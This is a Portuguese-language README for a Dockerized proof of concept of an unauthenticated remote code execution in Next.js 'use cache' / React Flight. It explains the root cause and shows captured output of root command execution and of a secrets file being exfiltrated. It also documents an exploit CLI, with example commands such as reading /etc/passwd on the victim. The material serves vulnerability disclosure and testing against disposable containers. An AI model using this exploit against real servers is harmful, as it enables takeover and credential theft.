Prova de conceito em Docker para GHSA-673q-mjm6-r5xr: uma única requisição não autenticada alcança RCE no Next.js use cache / React Flight, com uma vítima corrigida para comparação.
use cache / React Flight)Execução Remota de Código Não Autenticada em funções
use cacheque retornam typed arrays Next.js>=16.0.0 <16.4.1· CVSS v4 9.5 Crítico · CWE-502 (Desserialização de Dados Não Confiáveis) Causa raiz upstream: React Server Components — CVE-2026-126187 / GHSA-xqc2-xf4c-x3h3 (react-server-dom-*< 19.2.9/19.1.10/19.0.9/19.3.1). Corrigido no Next.js 16.4.1.
Uma prova de conceito remota totalmente funcional e dockerizada: um atacante de rede envia uma
única requisição HTTP não autenticada e executa comandos arbitrários como root dentro do contêiner
vítima. Uma vítima corrigida, construída a partir das mesmas fontes, é imune.
attacker container ──HTTP POST /profile (crafted body)──▶ victim container (Next.js-style
(no privileged access) `use cache` Flight boundary)
▲ │
└──────────── GET /proof ◀── server-side `id`, SECRET.txt exfil ──┘
Esta é uma reprodução autocontida do transporte Flight exato do React Server Components que o
Next.js distribui (react-server-dom-webpack), fixado nas versões vulnerável (19.2.8) e corrigida
(19.2.9). Consulte CASE-STUDY.md para a análise completa da causa raiz.
make demo # builds images, starts both victims, pwns the vulnerable one,
# then shows the same exploit fail against the patched one
ou passo a passo:
docker compose up -d --build victim victim-patched # :3000 vulnerable, :3001 patched
docker compose run --rm poc # RCE vs :3000 -> exit 0
docker compose run --rm poc-patched # safe vs :3001 -> exit 1
docker compose run --rm evidence # root-cause reproducers, side by side
Requisitos: Docker + Docker Compose. Não é necessário acesso à internet em tempo de execução (apenas em tempo de build para obter os pacotes npm fixados).
Contra a vítima vulnerável ([email protected]):
[+] REMOTE CODE EXECUTION CONFIRMED
command : id; echo; echo "=== exfiltrated /app/SECRET.txt ==="; cat /app/SECRET.txt; echo; uname -a
host : 648b3c59052e user: root pid: 1
--- command output (executed on the victim) ---
| uid=0(root) gid=0(root) groups=0(root)
|
| === exfiltrated /app/SECRET.txt ===
| DB_PASSWORD=hunter2
| API_KEY=sk-live-7f3c9a21b0e4
| FLAG{GHSA-673q-mjm6-r5xr-rce}
|
| Linux 648b3c59052e 6.10.14-linuxkit ... aarch64 GNU/Linux
Contra a vítima corrigida ([email protected]), a requisição idêntica é decodificada
como um cartão de perfil inofensivo — os bytes do atacante permanecem dentro da string displayName e nunca
se tornam instruções de protocolo:
[-] No code execution observed. Target is PATCHED.
decode result: {"keys":["avatar","thumbnail","displayName"],"displayName":"PPPP…"}
A vítima armazena em cache um "cartão de perfil" de usuário com uma função use cache no estilo Next.js. O valor armazenado em cache agrupa dois typed arrays que são views sobre o mesmo ArrayBuffer (um avatar e uma thumbnail recortados de uma única imagem decodificada — um padrão muito comum de "decodificar uma vez, recortar regiões") além de uma string controlada pelo atacante (o nome de exibição da requisição):
function getProfileCard(displayName) {
'use cache'
const decodedImage = new ArrayBuffer(8192 * 2) // one decoded image
const avatar = new Uint8Array(decodedImage, 0, 8192) // view 1
const thumbnail = new Uint8Array(decodedImage, 8192, 8192) // view 2 — SAME buffer
return { avatar, thumbnail, displayName } // displayName = attacker input
}
Quando o encoder Flight do React transmite o primeiro grande array tipado para um ReadableStream de bytes, o ArrayBuffer compartilhado é desanexado (semântica de transferência do WHATWG Streams). O byteLength da segunda view torna-se silenciosamente 0 — depois de seu cabeçalho de chunk já ter declarado o comprimento original. O decodificador então faz leitura excessiva, engolindo o enquadramento do stream e permitindo que os bytes de displayName do atacante sejam analisados como linhas brutas do protocolo Flight, que injetam uma Server Reference escolhida pelo atacante. O React a invoca durante a leitura do cache → RCE. Análise completa em
CASE-STUDY.md.
.
├── README.md you are here
├── CASE-STUDY.md full root-cause + exploitation write-up
├── docker-compose.yml victim (vuln), victim-patched, poc, evidence
├── Makefile make demo / up / exploit / evidence / clean
├── victim/
│ ├── Dockerfile ARG RSDW_VERSION selects 19.2.8 (vuln) or 19.2.9 (patched)
│ ├── server.js faithful Next.js `use cache` encode→store→decode pipeline
│ └── app-modules.js the server module graph the injected reference resolves against
├── poc/
│ ├── Dockerfile
│ └── exploit.js remote HTTP exploit (flag-driven; see -h; self-aligning payload)
└── evidence/
├── 01-encoder-desync.cjs header declares N bytes, writes 0
├── 02-type-confusion-sink.cjs thenable whose .then is a server reference
├── 03-full-chain-rce.cjs desync → injection → command execution
├── run.sh runs all three against vuln AND patched
├── sample-run.txt captured output
└── upstream-diffs/ the real Next.js 16.4.0 → 16.4.1 patch diffs
O cliente poc é orientado por flags. Consulte seu manual completo:
docker compose run --rm poc -h # or: node poc/exploit.js -h
USAGE
node exploit.js [options]
OPTIONS
-t, --target <url> Base URL of the victim (default: http://localhost:3000)
-c, --cmd <command> Shell command to run on the victim
--timeout <ms> Per-request timeout in ms (default: 15000)
--dry-run Build and print the payload; do not send anything
-h, --help Show this help and exit
--version Print version and exit
Exemplos:
# run your own command against the vulnerable victim:
docker compose run --rm poc -t http://victim:3000 -c 'cat /etc/passwd | head -3'
# inspect the crafted payload without sending it:
docker compose run --rm poc --dry-run
# drive it directly (outside compose) against a mapped port:
node poc/exploit.js -t http://localhost:3000 -c 'id'
# a normal-looking (short) request — the shared-buffer shape alone corrupts the cache entry:
curl -s -XPOST --data 'Ada Lovelace' http://localhost:3000/profile
# inspect what the victim recorded after an exploit:
curl -s http://localhost:3000/proof | jq
Atualize o Next.js para ≥ 16.4.1 (que inclui o runtime do React Flight corrigido). Se você depende diretamente de
react-server-dom-webpack / -turbopack / -parcel, atualize para 19.2.9, 19.1.10,
19.0.9 ou 19.3.1. Não há solução alternativa no nível da aplicação para uma função use cache afetada — a atualização é a única correção.
Este PoC tem como alvo apenas os dois contêineres descartáveis que ele cria. Use-o apenas contra sistemas que você possui ou está explicitamente autorizado a testar.